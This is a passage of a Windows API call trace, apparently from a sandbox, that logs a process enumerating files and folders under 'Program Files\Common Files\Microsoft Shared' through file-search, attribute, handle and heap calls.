lpFindFileData=0x118ec9c) returned 0x549080 [0264.034] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ec9c | out: lpFindFileData=0x118ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.035] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ec9c | out: lpFindFileData=0x118ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0264.035] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ec9c | out: lpFindFileData=0x118ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0264.035] GetLastError () returned 0x12 [0264.035] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x5490c0 [0264.035] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0264.035] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118ec9c | out: lpFindFileData=0x118ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.035] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118ec9c | out: lpFindFileData=0x118ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0264.035] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118ec9c | out: lpFindFileData=0x118ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0264.036] GetLastError () returned 0x12 [0264.036] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945390) returned 1 [0264.036] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0264.036] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9451f8) returned 1 [0264.036] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945308) returned 1 [0264.036] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0264.036] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0264.036] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="")) returned 1 [0264.036] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0264.036] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0264.036] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0264.036] GetLastError () returned 0x12 [0264.036] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945280) returned 1 [0264.036] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0264.036] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9497b0) returned 1 [0264.036] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945170) returned 1 [0264.036] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0264.036] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO" (normalized: "c:\\program files\\common files\\microsoft shared\\euro"), fInfoLevelId=0x0, lpFileInformation=0x118f108 | out: lpFileInformation=0x118f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0264.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO" (normalized: "c:\\program files\\common files\\microsoft shared\\euro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0264.039] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118f14c, lpLastWriteTime=0x118f14c) returned 0 [0264.039] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9500d8, nOutBufferSize=0x4000, lpBytesReturned=0x118f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9500d8, lpBytesReturned=0x118f1a4, lpOverlapped=0x0) returned 0 [0264.039] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9500d8) returned 1 [0264.039] NtClose (Handle=0x18c) returned 0x0 [0264.039] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945170) returned 1 [0264.039] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x549040 [0264.039] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.039] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0264.039] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0264.039] GetLastError () returned 0x12 [0264.039] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x5490c0 [0264.039] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0264.040] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.040] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0264.040] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0264.040] GetLastError () returned 0x12 [0264.040] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945308) returned 1 [0264.040] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0264.040] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945280) returned 1 [0264.040] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945170) returned 1 [0264.040] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0264.040] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters" (normalized: "c:\\program files\\common files\\microsoft shared\\filters"), fInfoLevelId=0x0, lpFileInformation=0x118f108 | out: lpFileInformation=0x118f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0264.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters" (normalized: "c:\\program files\\common files\\microsoft shared\\filters"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0264.042] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x118f14c, lpLastWriteTime=0x118f14c) returned 0 [0264.042] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9500d8, nOutBufferSize=0x4000, lpBytesReturned=0x118f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9500d8, lpBytesReturned=0x118f1a4, lpOverlapped=0x0) returned 0 [0264.043] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9500d8) returned 1 [0264.043] NtClose (Handle=0x194) returned 0x0 [0264.043] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945170) returned 1 [0264.043] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x5490c0 [0264.043] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.043] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0264.043] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0264.043] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0264.043] GetLastError () returned 0x12 [0264.043] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x549040 [0264.043] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0264.043] GetLastError () returned 0x12 [0264.044] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945308) returned 1 [0264.044] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0264.044] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945280) returned 1 [0264.044] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945170) returned 1 [0264.044] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt"), fInfoLevelId=0x0, lpFileInformation=0x118f108 | out: lpFileInformation=0x118f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0264.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0264.046] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118f14c, lpLastWriteTime=0x118f14c) returned 0 [0264.046] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9500d8, nOutBufferSize=0x4000, lpBytesReturned=0x118f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9500d8, lpBytesReturned=0x118f1a4, lpOverlapped=0x0) returned 0 [0264.046] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9500d8) returned 1 [0264.046] NtClose (Handle=0x18c) returned 0x0 [0264.047] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945170) returned 1 [0264.047] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x549040 [0264.049] GetLastError () returned 0x12 [0264.049] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x5490c0 [0264.049] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0264.050] GetLastError () returned 0x12 [0264.050] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945308) returned 1 [0264.050] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0264.051] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9497b0) returned 1 [0264.051] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945170) returned 1 [0264.051] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help" (normalized: "c:\\program files\\common files\\microsoft shared\\help"), fInfoLevelId=0x0, lpFileInformation=0x118f108 | out: lpFileInformation=0x118f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0264.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help" (normalized: "c:\\program files\\common files\\microsoft shared\\help"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0264.053] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x118f14c, lpLastWriteTime=0x118f14c) returned 0 [0264.053] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x952b60, nOutBufferSize=0x4000, lpBytesReturned=0x118f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x952b60, lpBytesReturned=0x118f1a4, lpOverlapped=0x0) returned 0 [0264.053] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x952b60) returned 1 [0264.053] NtClose (Handle=0x194) returned 0x0 [0264.053] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945170) returned 1 [0264.053] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x5490c0 [0264.053] GetLastError () returned 0x12 [0264.053] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x549040 [0264.054] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0264.054] GetLastError () returned 0x12 [0264.054] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9451f8) returned 1 [0264.054] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0264.054] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945308) returned 1 [0264.054] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945170) returned 1 [0264.054] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink" (normalized: "c:\\program files\\common files\\microsoft shared\\ink"), fInfoLevelId=0x0, lpFileInformation=0x118f108 | out: lpFileInformation=0x118f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0264.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink" (normalized: "c:\\program files\\common files\\microsoft shared\\ink"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0264.054] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118f14c, lpLastWriteTime=0x118f14c) returned 0 [0264.054] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x952b60, nOutBufferSize=0x4000, lpBytesReturned=0x118f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x952b60, lpBytesReturned=0x118f1a4, lpOverlapped=0x0) returned 0 [0264.054] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x952b60) 